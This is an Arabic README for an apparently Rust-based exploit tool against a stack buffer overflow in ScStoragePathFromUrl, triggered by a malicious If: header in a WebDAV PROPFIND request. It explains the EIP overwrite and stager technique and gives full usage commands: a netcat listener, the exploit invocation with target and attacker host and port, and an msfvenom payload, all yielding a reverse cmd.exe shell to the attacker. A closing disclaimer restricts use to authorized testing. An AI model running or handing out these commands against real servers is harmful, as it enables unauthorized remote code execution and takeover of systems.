الوصف

الثغرة عبارة عن تجاوز سعة مخزن مؤقت كلاسيكي على المكدس. يتم استغلالها عندما تعالج الدالة ScStoragePathFromUrl طلب PROPFIND يحتوي على ترويسة If: خبيثة.

تشكّل هذه الأداة الاستغلالية ترويسة كهذه تحتوي على سلسلة طويلة من البايتات، مما يؤدي إلى تجاوز سعة المخزن المؤقت المخصص على المكدس. يتسبب هذا التجاوز في استبدال بيانات حرجة في المكدس، بما في ذلك عنوان العودة المحفوظ (EIP). تختطف الأداة مسار تنفيذ البرنامج بتوجيه عنوان العودة هذا إلى حمولة شيفرة أولية صغيرة موجودة أيضًا داخل الترويسة الخبيثة. تتمثل مهمة هذه الشيفرة الأولية في العثور على الحمولة الرئيسية وتنفيذها، وهي شل عكسي (reverse shell) يُرسَل في جسم طلب HTTP نفسه. يثبت هذا المفهوم الإثباتي (POC) بنجاح تنفيذ التعليمات البرمجية عن بُعد من خلال ربط شل cmd.exe بمستمع يتحكم فيه المهاجم.

الاستخدام

المثال 1: شل عكسي مدمج

1. جهّز مستمعًا (listener) (اضبط المنفذ ليطابق --lport):

   root@kitploit:~

   nc -lvnp <attacker-port>
   

2. شغّل أداة الاستغلال مع شيفرة مدمجة:

   root@kitploit:~

   cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
   

   تقوم الأداة بترقيع شيفرة WSA أثناء التشغيل باستخدام LHOST/LPORT وترسلها في جسم HTTP. عندما يكون الهدف معرضًا للثغرة، سيستقبل مستمعك شلًا عكسيًا من cmd.exe.

المثال 2: حمولة خارجية ولكنها غير موصى بها (--payload)

1. جهّز حمولة خام (raw payload)

   root@kitploit:~

   msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
   

2. سلّم الحمولة (لا حاجة لـ --lhost/--lport لأن الشيفرة تتضمن تلك المعلومات مسبقًا):

   root@kitploit:~

   cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
   

3. تعامل مع الاستدعاء الراجع (callback) في نفس المستمع كما في السابق. نظرًا لأن الملف التنفيذي يبث ببساطة البايتات المقدمة، فإن السلوك الدقيق يعتمد على الحمولة التي ولّدتها.

إخلاء المسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدمها بمسؤولية وعلى الأنظمة التي تملكها أو لديك إذن صريح لاستخدامها فقط.